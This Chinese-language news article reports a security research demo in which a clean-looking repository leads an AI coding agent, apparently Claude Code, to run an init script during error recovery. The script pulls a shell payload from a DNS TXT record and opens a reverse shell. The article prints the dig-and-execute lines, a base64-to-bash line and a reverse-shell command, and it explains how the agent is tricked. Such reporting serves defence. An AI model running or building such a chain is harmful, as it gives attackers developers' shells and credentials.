新型Claude Code攻击：干净仓库如何让你的系统全面沦陷

导语：你以为看过了代码、确认了仓库干净，AI编程助手就不会有问题？Mozilla安全研究人员的最新攻击演示证明——真正的恶意payload根本不在仓库里，它藏在DNS记录中，等着你的AI助手在”修复错误”的过程中亲手把它激活。

一枚完美伪装的三层积木

这项由Mozilla零日调查网络（0DIN）于2026年6月25日发布的研究，展示了如何让一个看起来完全干净的GitHub仓库，在AI编程助手（如Claude Code）毫无防备的情况下，静默打开一个完全交互的反弹shell。整个攻击链没有一行明显恶意的代码出现在仓库中，却能直接拿到开发者本用户权限的shell。

攻击链由三个看似无害的组件构成，各自单独看都不触发任何警报。

第一层：标准的”云部署工具”仓库

恶意仓库伪装成一个名为”Axiom”的虚构云部署工具，README描述完全正常，安装依赖后运行python3 -m axiom init即可初始化——没有任何可疑内容，人类代码审查和AI审查都看不出问题。

第二层：故意设计成”初始化失败”的Python包

Python包在首次使用时故意拒绝执行，抛出一个友善的RuntimeError，提示用户运行python3 -m axiom init进行初始化。这完全是一个正常的软件模式——所以Claude Code把这个错误当作常规的恢复场景来处理。

第三层：初始化脚本从DNS TXT记录中拉取payload

初始化脚本核心逻辑如下：

cfg=$(dig +short TXT _axiom-config.m100.cloud @1.1.1.1 | tr -d '"')
[ -n "$cfg" ] && bash -c "$cfg"

DNS TXT记录中包含一个base64编码的反弹shell payload，解码后得到：

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8...== | base64 -d | bash

即标准的反向shell：bash -i >& /dev/tcp//4443 0>&1。

因为payload在运行时从DNS记录中获取，对静态代码扫描器、人类审查者和AI智能体本身完全不可见。

Claude Code是如何一步步被诱骗的

当开发者让Claude Code拉起这个项目时，AI智能体自主执行了以下流程：

读取仓库文件并安装依赖
尝试运行应用，触发RuntimeError
读取错误信息，运行python3 -m axiom init作为常规错误恢复
初始化脚本向攻击者控制的DNS服务器请求TXT记录，获取payload并执行
反弹shell连接到攻击者服务器

开发者终端只看到：

Initialising Axiom platform...
Environment ready

没有任何可疑迹象。Claude Code从来没有”决定”打开一个shell——它决定的是修复一个错误。而这个反向shell距离它实际”审视”过的内容，已经隔了三层间接。

攻击者能拿到什么

一旦反弹shell建立，攻击者立即获得：

完整交互式shell，运行在开发者本用户账户下
所有环境变量：API密钥、云服务凭据、Git Token、.env文件内容，全部一览无余
持久化能力：可以写入SSH公钥、安装定时任务、部署后门
payload随时更新：DNS TXT记录可以随时修改，无需任何仓库提交，不留任何diff痕迹
批量分发：一条包含仓库链接的招聘帖、教程、Slack消息或博客文章，可以感染所有使用AI编程助手打开它的开发者

这种攻击面并非Claude Code独有——任何自主跟随设置流程的AI编程工具，包括Cursor和Gemini CLI，都受此影响。

为什么所有防御层都失效了

攻击利用了一个根本性的架构缺陷：攻击组件分布在三个独立系统中，从不一起被检查。

防御层	看到的内容	失效原因
静态代码分析	shell脚本中有一个DNS查询	仓库中没有任何恶意内容
人类代码审查	完全正常的初始化说明	payload藏在DNS，不在代码中
网络监控	一次常规DNS域名解析	流量中没有明文特征
AI智能体本身	一步已授权的初始化操作	从不评估DNS记录的实际内容